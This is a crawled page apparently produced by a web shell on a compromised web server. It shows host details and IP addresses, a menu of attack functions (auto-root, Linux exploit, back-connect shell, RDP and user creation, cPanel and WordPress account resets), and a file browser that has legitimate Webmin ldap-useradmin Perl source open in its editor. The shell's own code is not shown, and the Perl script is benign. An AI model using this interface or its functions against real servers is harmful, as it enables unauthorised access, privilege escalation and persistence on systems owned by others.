Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.186
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
ldap-useradmin /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
6.18
KB
-rw-r--r--
acl_security.pl
7.55
KB
-rwxr-xr-x
batch_exec.cgi
15.72
KB
-rwxr-xr-x
batch_form.cgi
2.49
KB
-rwxr-xr-x
cgi_args.pl
501
B
-rwxr-xr-x
config
388
B
-rw-r--r--
config-ALL-linux
416
B
-rw-r--r--
config-coherent-linux
385
B
-rw-r--r--
config-debian-linux
406
B
-rw-r--r--
config-debian-linux-3.1
395
B
-rw-r--r--
config-debian-linux-4.0-ALL
388
B
-rw-r--r--
config-debian-squirrelmail-lin...
560
B
-rw-r--r--
config-macos
466
B
-rw-r--r--
config-mandrake-linux
385
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
394
B
-rw-r--r--
config-pardus-linux
397
B
-rw-r--r--
config-redhat-linux
385
B
-rw-r--r--
config-sol-linux
385
B
-rw-r--r--
config-suse-linux
394
B
-rw-r--r--
config-syno-linux
452
B
-rw-r--r--
config-trustix-linux
394
B
-rw-r--r--
config-united-linux
394
B
-rw-r--r--
config.info
5.65
KB
-rw-r--r--
config.info.ca
6
KB
-rw-r--r--
config.info.de
6.47
KB
-rw-r--r--
config.info.es
4.93
KB
-rw-r--r--
config.info.fr
0
B
-rw-r--r--
config.info.nl
5.99
KB
-rw-r--r--
config.info.no
5.75
KB
-rw-r--r--
config.info.pt_BR
6.06
KB
-rw-r--r--
cpan_modules.pl
85
B
-rwxr-xr-x
defaultacl
318
B
-rw-r--r--
edit_group.cgi
4.17
KB
-rwxr-xr-x
edit_user.cgi
14.83
KB
-rwxr-xr-x
index.cgi
7.52
KB
-rwxr-xr-x
install_check.pl
612
B
-rwxr-xr-x
ldap-useradmin-lib.pl
33.47
KB
-rwxr-xr-x
log_parser.pl
1.55
KB
-rwxr-xr-x
mass_delete_group.cgi
2.04
KB
-rwxr-xr-x
mass_delete_user.cgi
7.17
KB
-rwxr-xr-x
module.info
261
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
172
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
234
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
320
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
270
B
-rw-r--r--
module.info.ca
169
B
-rw-r--r--
module.info.cs
35
B
-rw-r--r--
module.info.cs.auto
126
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
155
B
-rw-r--r--
module.info.de
174
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
347
B
-rw-r--r--
module.info.es
31
B
-rw-r--r--
module.info.es.auto
142
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
186
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
284
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
185
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
190
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
194
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
183
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
193
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
157
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
205
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
174
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
184
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
176
B
-rw-r--r--
module.info.ms
172
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
168
B
-rw-r--r--
module.info.nl
35
B
-rw-r--r--
module.info.nl.auto
142
B
-rw-r--r--
module.info.no
32
B
-rw-r--r--
module.info.no.auto
126
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
186
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
163
B
-rw-r--r--
module.info.pt_BR
38
B
-rw-r--r--
module.info.pt_BR.auto
134
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
184
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
279
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
192
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
185
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
166
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
303
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
194
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
289
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
295
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
206
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
130
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
136
B
-rw-r--r--
postinstall.pl
224
B
-rwxr-xr-x
prefs.info
50
B
-rw-r--r--
raw.cgi
967
B
-rwxr-xr-x
save_group.cgi
9.38
KB
-rwxr-xr-x
save_user.cgi
24.6
KB
-rwxr-xr-x
search_group.cgi
1.31
KB
-rwxr-xr-x
search_user.cgi
1.46
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit_user.cgi
#!/usr/bin/perl # edit_user.cgi # Display details of an existing user and allow editing require './ldap-useradmin-lib.pl'; use Time::Local; &ReadParse(); $ldap = &ldap_connect(); $schema = $ldap->schema(); if ($in{'new'}) { $access{'ucreate'} || &error($text{'uedit_ecreate'}); $pass = $mconfig{'lock_string'}; $shell = $mconfig{'default_shell'} if ($mconfig{'default_shell'}); foreach $oec (split(/\s+/, $config{'other_class'})) { $oclass{$oec}++; } if ($config{'samba_def'}) { $oclass{$samba_class}++; } if ($config{'imap_def'}) { @cyrus_class_3 = split(' ',$cyrus_class); $oclass{$cyrus_class_3[0]}++; } # Get initial values from form parameters foreach $n ("user", "firstname", "lastname", "real", "home", "shell", "gid", "pass", "change", "expire", "min", "max", "warn", "inactive") { if (defined($in{$n})) { $$n = $in{$n}; } } &ui_print_header(undef, $text{'uedit_title2'}, ""); } else { # Get values from current user $rv = $ldap->search(base => $in{'dn'}, scope => 'base', filter => &user_filter()); ($uinfo) = $rv->all_entries; @users = $uinfo->get_value('uid'); $user = $users[0]; $uid = $uinfo->get_value('uidNumber'); $firstname = $uinfo->get_value('givenName'); $lastname = $uinfo->get_value('sn'); $real = $uinfo->get_value('cn'); $home = $uinfo->get_value('homeDirectory'); $shell = $uinfo->get_value('loginShell'); $gid = $uinfo->get_value('gidNumber'); $pass = $uinfo->get_value('userPassword'); $change = $uinfo->get_value('shadowLastChange'); $expire = $uinfo->get_value('shadowExpire'); $min = $uinfo->get_value('shadowMin'); $max = $uinfo->get_value('shadowMax'); $warn = $uinfo->get_value('shadowWarning'); $inactive = $uinfo->get_value('shadowInactive'); foreach $oc ($uinfo->get_value('objectClass')) { $oclass{$oc} = 1; } @alias = $uinfo->get_value($config{'maillocaladdress'} || 'alias'); %uinfo = &dn_to_hash($uinfo); &can_edit_user(\%uinfo) || &error($text{'uedit_eedit'}); &ui_print_header(undef, $text{'uedit_title'}, ""); } @tds = ( "width=30%" ); # build a list of used shells and uids @shlist = ($mconfig{'default_shell'} ? ( $mconfig{'default_shell'} ) : ( )); %shells = map { $_, 1 } split(/,/, $config{'shells'}); push(@shlist, "/bin/sh", "/bin/csh", "/bin/false") if ($shells{'fixed'}); if ($shells{'passwd'}) { # Don't do this unless we need to, as scanning all users is slow &build_user_used(undef, \@shlist); } if ($shells{'shells'}) { open(SHELLS, "</etc/shells"); while(<SHELLS>) { s/\r|\n//g; s/#.*$//; push(@shlist, $_) if (/\S/); } close(SHELLS); } push(@shlist, $shell) if ($shell); @shlist = &unique(@shlist); # Start of the form print &ui_form_start("save_user.cgi", "post"); print &ui_hidden("new", $in{'new'}); print &ui_hidden("dn", $in{'dn'}); print &ui_table_start($text{'uedit_details'}, "width=100%", 2, \@tds); # DN and classes if (!$in{'new'}) { print &ui_table_row($text{'uedit_dn'}, "<tt>$in{'dn'}</tt>", 3); print &ui_table_row($text{'uedit_classes'}, ,join(" , ", map { "<tt>$_</tt>" } $uinfo->get_value('objectClass')), 3); } # Show username input if ($in{'new'} && $config{'new_user_group'} && $access{'gcreate'}) { $onch = "newgid.value = user.value"; } print &ui_table_row($text{'user'}, @users > 1 ? &ui_textarea("user", join("\n", @users), 2, 20) : &ui_textbox("user", $user, 20, 0, undef, "onchange='$onch'")); # Show UID input, filled in with a default for new users if ($in{'new'}) { # Find the first free UID above the base $newuid = $mconfig{'base_uid'}; while(&check_uid_used($ldap, $newuid)) { $newuid++; } $uidfield = &ui_textbox("uid", $newuid, 10); } else { $uidfield = &ui_textbox("uid", $uid, 10); } print &ui_table_row($text{'uid'}, $uidfield); if ($config{'given'}) { # Show Full name inputs if ($in{'new'}) { if ($config{'given_order'} == 0) { # Firstname surname $onch = "onChange='form.real.value = form.firstname.value+\" \"+form.lastname.value'"; } else { # Surname, firstname $onch = "onChange='form.real.value = form.lastname.value+\", \"+form.firstname.value'"; } } print &ui_table_row($text{'uedit_firstname'}, &ui_textbox("firstname", $firstname, 20, 0, undef, $onch)); print &ui_table_row($text{'uedit_lastname'}, &ui_textbox("lastname", $lastname, 20, 0, undef, $onch)); } # Show real name input print &ui_table_row($text{'real'}, &ui_textbox("real", $real, 40)); # Work out group name if ($in{'new'}) { $grp = $mconfig{'default_group'}; } else { $grp = &all_getgrgid($gid); } # Show home directory input, with an 'automatic' option if ($mconfig{'home_base'}) { local $hb = $in{'new'} || &auto_home_dir($mconfig{'home_base'}, $user, $grp) eq $home; $homefield = &ui_radio("home_base", $hb ? 1 : 0, [ [ 1, $text{'uedit_auto'} ], [ 0, &ui_filebox("home", $hb ? "" : $home, 25, 0, undef, undef, 1) ] ]); } else { $homefield = &ui_filebox("home", $home, 25, 0, undef, undef, 1); } print &ui_table_row($text{'home'}, $homefield); # Show shell selection menu print &ui_table_row($text{'shell'}, &ui_select("shell", $uinfo{'shell'}, \@shlist, 1, 0, 0, 0, "onChange='form.othersh.disabled = form.shell.value != \"*\"'"). &ui_filebox("othersh", undef, 40, 1)); # Generate password if needed if ($in{'new'} && $mconfig{'random_password'}) { $random_password = &useradmin::generate_random_password(); } # Check if temporary locking is supported if (!$in{'new'} && $pass ne $mconfig{'lock_string'} && $pass ne "") { # Can disable if not already locked, or if a new account $can_disable = 1; if ($pass =~ /^\Q$useradmin::disable_string\E/) { $disabled = 1; $pass =~ s/^\Q$useradmin::disable_string\E//; } } elsif ($in{'new'}) { $can_disable = 1; } # Show password field $passmode = $pass eq "" && $random_password eq "" ? 0 : $pass eq $mconfig{'lock_string'} && $random_password eq "" ? 1 : $random_password ne "" ? 3 : $pass && $pass ne $mconfig{'lock_string'} && $random_password eq "" ? 2 : -1; $pffunc = $mconfig{'passwd_stars'} ? \&ui_password : \&ui_textbox; print &ui_table_row($text{'pass'}, &ui_radio_table("passmode", $passmode, [ [ 0, $mconfig{'empty_mode'} ? $text{'none1'} : $text{'none2'} ], [ 1, $text{'nologin'} ], [ 3, $text{'clear'}, &$pffunc("pass", $mconfig{'random_password'} && $n eq "" ? $random_password : "", 15) ], $access{'nocrypt'} ? ( [ 2, $text{'nochange'}, &ui_hidden("encpass", $pass) ] ) : ( [ 2, $text{'encrypted'}, &ui_textbox("encpass", $passmode == 2 ? $pass : "", 40) ] ) ]). ($can_disable ? " ".&ui_checkbox("disable", 1, $text{'uedit_disabled'}, $disabled) : "") ); print &ui_table_end(); # Show shadow password options if (&in_schema($schema, "shadowLastChange")) { print &ui_table_start($text{'uedit_passopts'}, "width=100%", 4, \@tds); # Last change date print &ui_table_row($text{'change'}, ($uinfo{'change'} ? &make_date(timelocal( gmtime($change * 60*60*24)),1) : $n eq "" ? $text{'uedit_never'} : $text{'uedit_unknown'})); # Expiry date if ($in{'new'} && $mconfig{'default_expire'} =~ /^(\d+)\/(\d+)\/(\d+)$/) { $eday = $1; $emon = $2; $eyear = $3; } elsif ($expire) { @tm = localtime(timelocal(gmtime($expire * 60*60*24))); $eday = $tm[3]; $emon = $tm[4]+1; $eyear = $tm[5]+1900; } print &ui_table_row($text{'expire'}, &useradmin::date_input($eday, $emon, $eyear, 'expire')); # Minimum and maximum days for changing print &ui_table_row($text{'min'}, &ui_textbox("min", $in{'new'} ? $mconfig{'default_min'} : $min, 5)); print &ui_table_row($text{'max'}, &ui_textbox("max", $in{'new'} ? $mconfig{'default_max'} : $max, 5)); # Password warning days print &ui_table_row($text{'warn'}, &ui_textbox("warn", $in{'new'} ? $mconfig{'default_warn'} : $warn, 5)); # Inactive dats print &ui_table_row($text{'inactive'}, &ui_textbox("inactive", $in{'new'} ?$mconfig{'default_inactive'} : $inactive, 5)); # Force password change at next login print &ui_table_row( $text{'uedit_forcechange'}, &ui_yesno_radio("forcechange", 0)); print &ui_table_end(); } if (&in_schema($schema, "sambaPwdLastSet")) { print &ui_table_start($text{'uedit_sambapassopts'}, "width=100%", 4, \@tds); $value = $uinfo ? $uinfo->get_value('sambaPwdLastSet') : undef; print &ui_table_row($text{'uedit_sambapwdlastset'}, ($value ? &make_date(timelocal(gmtime($value)),1) : $n eq "" ? $text{'uedit_never'} : $text{'uedit_unknown'})); $value = $uinfo ? $uinfo->get_value('sambaPwdCanChange') : undef; print &ui_table_row($text{'uedit_sambapwdcanchange'}, ($value ? &make_date(timelocal(gmtime($value)),1) : $n eq "" ? $text{'uedit_never'} : $text{'uedit_unknown'})); $value = $uinfo ? $uinfo->get_value('sambaBadPasswordCount') : undef; print &ui_table_row($text{'uedit_sambabadpasswordcount'}, $value); $value = $uinfo ? $uinfo->get_value('sambaAcctFlags') : undef; print &ui_table_row($text{'uedit_sambaacctflags'}, $value); print &ui_table_end(); } # Group memberships section print &ui_table_start($text{'uedit_gmem'}, "width=100%", 4, \@tds); # Primary group if ($in{'new'}) { print &ui_table_row($text{'group'}, &ui_radio_table("gidmode", $mconfig{'new_user_group'} ? 2 : $grp ? 1 : 0, [ [ 2, $text{'uedit_samg'} ], [ 1, $text{'uedit_newg'}, &ui_textbox("newgid", undef, 20) ], [ 0, $text{'uedit_oldg'}, &ui_textbox("gid", $grp || $gid, 20). " ".&group_chooser_button("gid") ] ]), 3); } else { print &ui_table_row($text{'group'}, &ui_textbox("gid", $grp || $gid, 20)." ". &group_chooser_button("gid"), 3); } if ($config{'secmode'} != 1) { # Work out which secondary groups the user is in @defsecs = &split_quoted_string($mconfig{'default_secs'}); $base = &get_group_base(); $rv = $ldap->search(base => $base, filter => &group_filter()); %ingroups = ( ); foreach $g (sort { lc($a->dn()) cmp lc($b->dn()) } $rv->all_entries) { $group = $g->get_value("cn"); @mems = $g->get_value("memberUid"); $desc = $g->get_value("description"); local $ismem = &indexof($user, @mems) >= 0; if ($n eq "") { $ismem = 1 if (&indexof($group, @defsecs) >= 0); } $ingroups{$group} = $ismem; $descgroups{$group} = " ($desc)"; } } if ($config{'secmode'} == 0) { # Show secondary groups with select menu foreach $g (sort { lc($a->dn()) cmp lc($b->dn()) } $rv->all_entries) { $group = $g->get_value("cn"); push(@canglist, [ $group, $group ]); } @ingroups = map { [ $_, $_.$descgroups{$_} ] } sort { $a cmp $b } grep { $ingroups{$_} } (keys %ingroups); $groupfield = &ui_multi_select("sgid", \@ingroups, \@canglist, 5, 1, 0, $text{'uedit_allg'}, $text{'uedit_ing'}); } elsif ($config{'secmode'} == 2) { # Show a text box @insecs = ( ); foreach $g (sort { lc($a->dn()) cmp lc($b->dn()) } $rv->all_entries) { $group = $g->get_value("cn"); if ($ingroups{$group}) { push(@insecs, $group); } } $groupfield = &ui_textarea("sgid", join("\n", @insecs), 5, 20); } if ($groupfield) { print &ui_table_row($text{'uedit_2nd'}, $groupfield, 3); } print &ui_table_end(); # Show extra fields (if any) &extra_fields_input($config{'fields'}, $uinfo, \@tds); # Show capabilties section print &ui_table_start($text{'uedit_cap'}, "width=100%", 4, \@tds); # Samba login? print &ui_table_row($text{'uedit_samba'}, &ui_yesno_radio("samba", $oclass{$samba_class} ? 1 : 0)); if ($config{'imap_host'}) { # Cyrus IMAP login @cyrus_class_3 = split(' ',$cyrus_class); print &ui_table_row($text{'uedit_cyrus'}, &ui_yesno_radio("cyrus", $oclass{$cyrus_class_3[0]} ? 1 : 0)); # IMAP domain if ($config{'domain'}) { print &ui_table_row($text{'uedit_alias'}, &ui_textbox("alias", join(" ", @alias), 40), 3); } # Show field for changing the quota on existing users, or setting # it for new users if ($config{'quota_support'}) { print &ui_table_row($text{'uedit_quota'}, $in{'new'} || !$oclass{$cyrus_class_3[0]} ? &ui_textbox("quota", $config{'quota'}, 10)." kB" : &ui_opt_textbox("quota", undef, 10, $text{'uedit_unquota'})." Kb"); } } else { print &ui_hidden("cyrus", $oclass{$cyrus_class}); } print &ui_table_end(); if ($in{'new'}) { # On-create options print &ui_table_start($text{'uedit_oncreate'}, "width=100%", 2, \@tds); # Create home dir? print &ui_table_row($text{'uedit_makehome'}, &ui_yesno_radio("makehome", 1)); # Create in other modules? print &ui_table_row($text{'uedit_cothers'}, &ui_yesno_radio("others", $mconfig{'default_other'})); print &ui_table_end(); } else { # On save options print &ui_table_start($text{'onsave'}, "width=100%", 2, \@tds); # Move home directory print &ui_table_row($text{'uedit_movehome'}, &ui_yesno_radio("movehome", 1)); # Change UID on files print &ui_table_row($text{'uedit_chuid'}, &ui_radio("chuid", 1, [ [ 0, $text{'no'} ], [ 1, $text{'home'} ], [ 2, $text{'uedit_allfiles'} ] ])); # Change GID on files print &ui_table_row($text{'uedit_chgid'}, &ui_radio("chgid", 1, [ [ 0, $text{'no'} ], [ 1, $text{'home'} ], [ 2, $text{'uedit_allfiles'} ] ])); # Modify in other modules print &ui_table_row($text{'uedit_mothers'}, &ui_yesno_radio("others", $mconfig{'default_other'} ? 1 : 0)); print &ui_table_end(); } # Build buttons for end of form @buts = ( ); if ($in{'new'}) { # Show buttons for new users push(@buts, [ undef, $text{'create'} ]); } else { # Show buttons for existing users push(@buts, [ undef, $text{'save'} ], [ 'raw', $text{'uedit_raw'} ]); if (&foreign_available("mailboxes") && &foreign_installed("mailboxes", 1)) { # Link to the mailboxes module, if installed push(@buts, [ 'mailboxes', $text{'uedit_mail'} ]); } if (&foreign_available("usermin") && &foreign_installed("usermin", 1) && (%uacl = &get_module_acl("usermin") && $uacl{'sessions'})) { # Link to Usermin module for switching to some user &foreign_require("usermin", "usermin-lib.pl"); local %uminiserv; &usermin::get_usermin_miniserv_config(\%uminiserv); if ($uminiserv{'session'}) { push(@buts, [ "switch", $text{'uedit_swit'} ]); } } push(@buts, [ 'delete', $text{'delete'} ]); } print &ui_form_end(\@buts); &ui_print_footer("", $text{'index_return'});
Close